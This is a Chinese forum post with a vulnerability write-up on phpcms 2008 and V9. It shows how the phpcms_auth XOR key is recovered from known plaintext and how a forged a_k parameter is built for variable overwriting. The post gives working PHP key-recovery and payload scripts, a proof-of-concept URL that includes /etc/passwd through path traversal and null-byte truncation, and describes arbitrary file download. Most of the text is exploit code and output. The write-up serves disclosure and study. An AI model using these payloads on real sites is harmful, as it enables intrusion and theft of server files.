oma 发表于 2011-12-20 09:47

phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞

<DIV>
<P>phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞</P>
<P>phpcms_auth函数是phpcms里面为了增强程序的安全性的一个加密函数,在play.php、down.php 、download.php等等文件用它来对用户提交的加密字符串进行解密,进入程序流程,如果我们可以控制了phpcms_auth函数的解密,我们就可以通过注射我们的恶意代码,进行攻击。<BR>而phpcms_auth采用的是可逆的位异或算法,并且对加密的结果进行了base64编码。<BR>对于位异或算法来说只要我们破解了密钥字符串$key我们就完全控制了这个函数的加密解密。<BR>对于base64编码主要是处理某些加密后的不可见字符,但是这给了我们一个很好的机会:<BR>就是说我们破解了$key之后,我们就可以不受magic_quotes_pgc的限制引入%00字符串进行阶段,或者引入引号发起其他攻击。<BR>到此已经违背了这个程序设计的初衷,破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。</P>
<P><CODE><FONT face=NSimsun>// include/global.func.php<BR>function phpcms_auth($txt, $operation = 'ENCODE', $key = '')<BR>{<BR>$key&nbsp;&nbsp;&nbsp; = $key ? $key : $GLOBALS['phpcms_auth_key'];<BR>$txt&nbsp;&nbsp;&nbsp; = $operation == 'ENCODE' ? $txt : base64_decode($txt);<BR>$len&nbsp;&nbsp;&nbsp; = strlen($key);<BR>$code&nbsp;&nbsp;&nbsp; = '';</FONT></P>
<P>for($i=0; $i&lt;strlen($txt); $i++){<BR>$k&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; = $i % $len;&nbsp;&nbsp;&nbsp; //循环使用密钥字符串对字符串逐位进行异或<BR>$code&nbsp; .= $txt[$i] ^ $key[$k];<BR>}<BR>$code = $operation == 'DECODE' ? $code : base64_encode($code);<BR>return $code;<BR>}</CODE></P>
<P>对于$key的破解<BR>对于位运算的异或运算,是可逆的,明文和密钥异或得到密文。如果我们知道密文并且知道一部分明文那么我们也就可以得到密钥,有了密钥我们就可以破解另一部分密文,当然也就可以对我们自己的明文进行加密,然后用我们精心构造的密文发起攻击了。<BR><SPAN id=more-1054></SPAN><BR>不幸的是phpcms的确给了我们可用来破解密钥的明文。</P>
<P><CODE><FONT face=NSimsun>// include/fields/downfile/output.inc.php</FONT></P>
<P>function downfile($field, $value)<BR>{<BR>$contentid = $this-&gt;contentid;<BR>$mode = $this-&gt;fields[$field]['mode'];<BR>$result = '';<BR>if($mode)<BR>{<BR>$servers = $this-&gt;fields[$field]['servers'];<BR>$downloadtype = $this-&gt;fields[$field]['downloadtype'];<BR>$servers = explode("\n",$servers);<BR>foreach($servers AS $k=&gt;$server)<BR>{<BR>$server = explode("|",$server);<BR>$serverurl = $server;<BR>$a_k = urlencode(phpcms_auth("i=$contentid&amp;s=$serverurl&amp;m=1&amp;f=$value&amp;d=$downloadtype", 'ENCODE', AUTH_KEY));<BR>$result .= "&lt;a href='down.php?a_k=$a_k' target='_blank'&gt;$server&lt;/a&gt;";<BR>}<BR>}<BR>else<BR>{<BR>$a_k = urlencode(phpcms_auth("i=$contentid&amp;m=0&amp;f=$value", 'ENCODE', AUTH_KEY));<BR>$result = "&lt;a href='down.php?a_k=$a_k' target='_blank'&gt;点击下载&lt;/a&gt;";<BR>}<BR>return $result;<BR>}</CODE></P>
<P>这个文件是用来生成静态html文件的,默认安装的phpcms某个软件的下载页面地址为:</P>
<P>http://127.0.0.1/n/phpcms/2011/0331/2.html</P>
<P>进入下载文件的下载地址为:</P>
<P>http://127.0.0.1/n/phpcms/down.php?a_k=GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D</P>
<P>对加密字符串解密后为<BR>密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D<BR>明文:i=2&amp;s=&amp;m=0&amp;f=uploadfile/2011/0331/20110331121233766.zip&amp;d=1<BR>这里2.html的2就是数据库里id的值,如果没有设置镜像站点的话$serverurl为空<BR>也就是说”i=2&amp;s=&amp;m=1&amp;f=”是不会变的,我们可以破解12位的密钥了。<BR>默认的话密钥有20位,如果用户上传目录没修改的话我们知道的明文就有”i=2&amp;s=&amp;m=0&amp;f=uploadfile”共23个字符,可以得到全部密钥了。</P>
<P><CODE><?php<br /><FONT face=NSimsun>$key="i=2&amp;s=&amp;m=0&amp;f=uploadfile";<BR>$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';<BR>$txt=base64_decode(urldecode($txt));<BR>$len=strlen($key);<BR>echo $len;<BR>for($i=0;$i&lt;strlen($key);$i++)<BR>{<BR>$code&nbsp; .= $txt[$i] ^ $key[$i];<BR>}<BR>echo $code;<BR>?&gt;</FONT></CODE><BR>运行结果为:sIpeofogblFVCildZEwesIp<BR>可以看到sIp开始下一个循环加密了,所以密钥就是:sIpeofogblFVCildZEwe</P>
<P>还有一点就是下载的时候我们可以得到文件名:20110331121233766.zip<BR>d的值是下载文件的类型,假设我们不知道也不要紧<BR>就是说明文:20110331121233766.zip&amp;d=是已知的有24位<BR>密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D</P>
<P><CODE><?<br /><FONT face=NSimsun>$key="20110331121233766.zip&amp;d=";<BR>$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';</FONT></P>
<P>$txt=base64_decode(urldecode($txt));<BR>$tlen=strlen($txt);<BR>$klen=strlen($key);<BR>for($i=1;$i&lt;strlen($key);$i++)<BR>{<BR>$code&nbsp; .= $txt[$tlen-$i-1] ^ $key[$klen-$i];<BR>}<BR>echo $code."\n";<BR>echo $tlen."\n";<BR>?&gt;<BR></CODE><BR><FONT face=Verdana>运行结果为:<BR>EZdliCVFlbgofoepIsewEZd<BR>59<BR>来看phpcms_auth源码<BR></FONT><CODE>/*<BR>...<BR>$len&nbsp;&nbsp;&nbsp; = strlen($key);<BR>...</P>
<P>for($i=0; $i&lt;strlen($txt); $i++){<BR>$k&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; = $i % $len;<BR>$code&nbsp; .= $txt[$i] ^ $key[$k];<BR>}<BR>...<BR>*/</CODE></P>
<P>我们可以知道<BR>$key=’E';<BR>我们可以得到倒序的密钥字符串:<BR>ewEZdliCVFlbgofoepIs</P>
<P>然后我们把字符串翻转过来终端下执行:</P>
<P>alone@Sh3llc0de:~$ echo ‘ewEZdliCVFlbgofoepIs’|rev<BR>sIpeofogblFVCildZEwe</P>
<P>我们的密钥字符串就是:sIpeofogblFVCildZEwe</P>
<P>到此我们已经从一个攻击者的角度破解出了密钥。接下来我们看看由此引发的几个安全问题<BR>————————————-</P>
<P>1.phpcms2008 sp2-sp4 本地文件包含漏洞<BR>这个漏洞跟boblog刚爆出的任意变量覆盖漏洞有些相似,都是任意变量覆盖然后仅跟了一个本地文件包含。这种漏洞也是很好玩的,攻击的方法更灵活。</P>
<P><CODE><FONT face=NSimsun>//play.php<BR><?php<br />require dirname(__FILE__).'/include/common.inc.php';<BR>if(!isset($a_k)) showmessage($LANG['illegal_parameters']);<BR>//common.inc.php文件的全局变量机制已经将所有GPC数据导出为变量了<BR>//所以$a_k=$_GET[$a_k];<BR>$a_k = phpcms_auth($a_k, 'DECODE', AUTH_KEY); //这里是关键分析见上文</FONT></P>
<P>if(empty($a_k)) showmessage($LANG['illegal_parameters']);<BR>unset($i, $m, $f, $p);<BR>parse_str($a_k);&nbsp;&nbsp;&nbsp; //parse_str处理解密后的$a_k将导致变量覆盖<BR>//通过覆盖下文的$mod 或者$templateid将触发本地文件包含漏洞<BR>//由于我们提交的密文会经过phpcms_auth函数中base64解密的,所以直接无视magic_quotes_gpc的影响而可以NULL字符截断<BR>//但是高版本的PHP修复了%00的攻击缺陷</P>
<P>if(isset($i)) $i = intval($i);<BR>if(!isset($m)) showmessage($LANG['illegal_parameters']);</P>
<P>if(empty($f)) showmessage('地址失效');<BR>if(preg_match('/\.php$/',$f) || strpos($f, ":\\")) showmessage('地址有误');<BR>if(!$i || $m&lt;0) showmessage($LANG['illegal_parameters']);<BR>$allow_readpoint = 1;<BR>// include global.fuc.php<BR>/*<BR>...<BR>$M = $TEMP = array();<BR>if(!isset($mod)) $mod = 'phpcms';<BR>if($mod != 'phpcms')<BR>{<BR>isset($MODULE[$mod]) or exit($LANG['module_not_exists']);<BR>$langfile = defined('IN_ADMIN') ? $mod.'_admin' : $mod;<BR>@include PHPCMS_ROOT.'languages/'.LANG.'/'.$langfile.'.lang.php';<BR>$M = cache_read('module_'.$mod.'.php');<BR>}<BR>...<BR>*/<BR>//此处通过上文的对$mod进行变量覆盖绕过下面的if语句<BR>if($mod == 'phpcms')<BR>{<BR>$contentid = $i;<BR>include 'admin/content.class.php';<BR>$content = new content;<BR>$data = $content-&gt;get($contentid);<BR>$readpoint = $data['readpoint'];</P>
<P>$title = $data['title'];<BR>$keys = array_keys($data);</P>
<P>if(in_array('groupids_view',$keys))<BR>{<BR>if($data['groupids_view'])<BR>{<BR>if(!$priv_group-&gt;check('contentid', $contentid, 'view', $_groupid)) showmessage('您没有查看权限');<BR>}<BR>if(in_array('readpoint', $keys))<BR>{<BR>$C = cache_read('category_'.$data['catid'].'.php');<BR>if($C['defaultchargepoint'] || !empty($readpoint))<BR>{<BR>$readpoint = $readpoint ? $readpoint : $C['defaultchargepoint'];<BR>$pay = load('pay_api.class.php', 'pay', 'api');<BR>if($C['repeatchargedays'])<BR>{<BR>if($pay-&gt;is_exchanged($contentid, $C['repeatchargedays']) === FALSE)<BR>{<BR>$allow_readpoint = 0;<BR>}<BR>}<BR>else<BR>{<BR>session_start();<BR>if($_SESSION['pay_contentid'] != $contentid) $allow_readpoint = 0;<BR>}<BR>}<BR>}<BR>}<BR>}</P>
<P>$player = load('player.class.php');<BR>$result = $player-&gt;get($p);<BR>@extract($result);<BR>$videourl = trim($f);<BR>$code = str_replace('{$filepath}',$videourl, $code);<BR>$code = str_replace('{$PHPCMS}', $PHPCMS['siteurl'], $code);<BR>$code = str_replace('{$PHPCMS}', $PHPCMS['sitename'], $code);<BR>$templateid = $templateid ? $templateid : 'play';<BR>include template($mod, $templateid);<BR>/*<BR>// include/global.fuc.php<BR>// function template 起到一个连接字符串的作用</P>
<P>function template($module = 'phpcms', $template = 'index', $istag = 0)<BR>{<BR>$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';<BR>if(TPL_REFRESH &amp;&amp; (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') &gt; @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') &gt; @filemtime($compiledtplfile)))<BR>{<BR>require_once PHPCMS_ROOT.'include/template.func.php';<BR>template_compile($module, $template, $istag);<BR>}<BR>return $compiledtplfile;<BR>}</P>
<P>*/<BR>?&gt;</CODE></P>
<P>接下来生成我们的攻击字符串:<BR><CODE><?php<br /><FONT face=NSimsun>$key='sIpeofogblFVCildZEwe';<BR>$evil='i=1&amp;m=1&amp;f=fuck&amp;mod=../../../../../../../etc/passwd%00&amp;c4rp3nt3r=0x50sec.org';<BR>//经过parse_str($evil);后c4rp3nt3r变量并没有被创建<BR>//这个地方我也不是很明白为什么可以进行截断<BR>//但事实上真的可以截断</FONT></P>
<P>$evil = phpcms_auth($evil, 'ENCODE', $key);<BR>echo $evil."\n";<BR>function phpcms_auth($txt, $operation = 'ENCODE', $key)<BR>{<BR>$txt&nbsp;&nbsp;&nbsp; = $operation == 'ENCODE' ? $txt : base64_decode($txt);<BR>$len&nbsp;&nbsp;&nbsp; = strlen($key);<BR>$code&nbsp;&nbsp;&nbsp; = '';</P>
<P>for($i=0; $i&lt;strlen($txt); $i++){<BR>$k&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; = $i % $len;<BR>$code&nbsp; .= $txt[$i] ^ $key[$k];<BR>}<BR>$code = $operation == 'DECODE' ? $code : base64_encode($code);<BR>return $code;<BR>}<BR>?&gt;</CODE></P>
<P>alone@Sh3llc0de:/var/www$ php v.php<BR>GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL</P>
<P>POC:http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL<BR>成功包含了/etc/passwd</P>
<P>2.phpcms2008 sp2-sp4、PHPCMS V9 正式版任意文件下载漏洞</P>
<P>以phpcms2008为例</P>
<P>down.php 和download.php都存在这个漏洞,具体利用跟上面的文件包含差不多就不多罗嗦了,成功利用此漏洞可以下载任意文件,包括.php后缀的文件。<BR>只是download.php的加密方式是:<BR>//download.php<BR>…<BR>$phpcms_auth_key = md5(AUTH_KEY.$_SERVER['HTTP_USER_AGENT']);<BR>$a_k = phpcms_auth($a_k, ‘DECODE’, $phpcms_auth_key);<BR>…<BR>这样可能主要是为了仿制迅雷等浏览器的下载。但是既然我们知道了AUTH_KEY(见上文分析的密钥$key),$_SERVER['HTTP_USER_AGENT']是由用户提交的,那么$phpcms_auth_key 我们自然也就知道了。<BR>除了上面说的知道部分明文来算$key,还有可能暴力破解$key.<BR>还有就是经过md5加密后也未必就更安全,因为系统生成的$key有20位但是每一位都肯能个是大写或者小写字母,也就是有52种可能,但是经过md5加密后每一位就变成只有16种可能了,大大增加了被暴力破解的可能性。</P>
<P>全文结束<BR>参考和致谢:<BR>80vul.com《高级PHP应用程序漏洞审核技术》<BR>Ryat 《bo-blog任意变量覆盖漏洞》</P></DIV>
页: [1]
查看完整版本: phpcms的phpcms_auth导致的任意变量覆盖漏洞、本地文件包含漏洞和任意文件下载漏洞